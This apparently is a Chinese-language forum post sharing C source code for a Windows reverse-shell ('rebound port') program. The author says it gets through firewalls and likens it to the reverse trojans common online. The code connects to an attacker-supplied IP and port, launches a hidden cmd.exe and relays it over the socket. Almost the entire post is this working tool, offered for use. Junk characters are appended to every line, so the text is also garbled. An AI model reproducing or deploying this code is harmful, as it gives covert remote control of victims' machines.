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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 k64."*X  
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/* ============================== gh>>Ibf  
Rebound port in Windows NT 1lsLJ4P  
By wind,2006/7 C_ \q?>  
===============================*/ gaf$uT2  
#include @A+RVg*=  
#include \V>?Do7  
+`sv91c  
#pragma comment(lib,"wsock32.lib") !J =sk4T  
)I\=BPo|B  
void OutputShell(); ||zb6|7I4  
SOCKET sClient; : iiw3#]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >I<r)w]  
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void main(int argc,char **argv) HK~xOAF  
{ ,KJw|x4}\  
WSADATA stWsaData; UYA_jpIP  
int nRet; e;GU T:  
SOCKADDR_IN stSaiClient,stSaiServer; @Eb2k!T  
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if(argc != 3) bT6sb#"W  
{ n$aA)"A #  
printf("Useage:\n\rRebound DestIP DestPort\n"); J>^\oAgpE  
return; xcJ `1*1N  
} QW_agm  
kSc{^-<R  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^ZM0c>ev=l  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P"lBB8\eku  
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stSaiClient.sin_family = AF_INET; F3oQ^;xB  
stSaiClient.sin_port = htons(0); kF;5L)o  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hfcIvs/!  
t |W)   
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -B$~`2-  
{ f1PN |  
printf("Bind Socket Failed!\n"); E`j-6:  
return; }YOL"<,:o  
} ~Z ~v  
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stSaiServer.sin_family = AF_INET; `mH %!{P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K\^ 0_F K  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l/y]nw  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) muW!xY  
{ Ro=AADv@  
printf("Connect Error!"); T<-=nX  
return; ?4CNkk=v  
} 93IFcmO.H@  
OutputShell(); "7d-z<^n  
} z^nvMTC  
<?0~1o\Ur  
void OutputShell() j%V["?)  
{ J!ntXF  
char szBuff[1024]; |KYEK|  
SECURITY_ATTRIBUTES stSecurityAttributes; Lz DI0a.  
OSVERSIONINFO stOsversionInfo; ];+#i"l  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; -xg2q V\c  
STARTUPINFO stStartupInfo; >%Ee#m  
char *szShell; ]v G{kAnH  
PROCESS_INFORMATION stProcessInformation; W/=|/-\]/  
unsigned long lBytesRead; f-2$ L  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k#}g,0@  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !5}l&7:(MN  
stSecurityAttributes.lpSecurityDescriptor = 0; JIO$=+p  
stSecurityAttributes.bInheritHandle = TRUE; |DF9cd^  
i v(5&'[p  
utlpY1#q/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r' BAT3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'j%F]CK  
Xl |1YX1&m  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ExHAY|UA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rSP_:}  
stStartupInfo.wShowWindow = SW_HIDE; ?R Fg$Z'^  
stStartupInfo.hStdInput = hReadPipe; 02AI%OOH  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :RxHw;!  
>cL{Ya}Rz  
GetVersionEx(&stOsversionInfo); l]2r)!Q7  
s]27l3)B  
switch(stOsversionInfo.dwPlatformId) HjWq[[Nz  
{ W</n=D<,I  
case 1: t j Vh^  
szShell = "command.com"; Vy G4(X va  
break; Z< b"`ty.  
default: \nrP$  
szShell = "cmd.exe"; Q}A=jew  
break; t@?u  
} UFn8kBk  
3b[jwCt  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O$ !* %TL  
!wLg67X$ -  
send(sClient,szMsg,77,0); S\NL+V?7h  
while(1) eyw'7  
{ VY 1vXM3y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h7_)%U<J2  
if(lBytesRead) K_-d(  
{ TB aVW  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J?:[$C5  
send(sClient,szBuff,lBytesRead,0); )wzV $(~  
} 7q9gngT1LA  
else !{_yaVF  
{ x;BbTBc>  
lBytesRead=recv(sClient,szBuff,1024,0); 9vGs;  
if(lBytesRead<=0) break; f%qt)Ick  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); HO|-@yOF^  
} xcCl (M]+  
} |E/L.gdP7  
7_KhV  
return; (d2@Mz  
}
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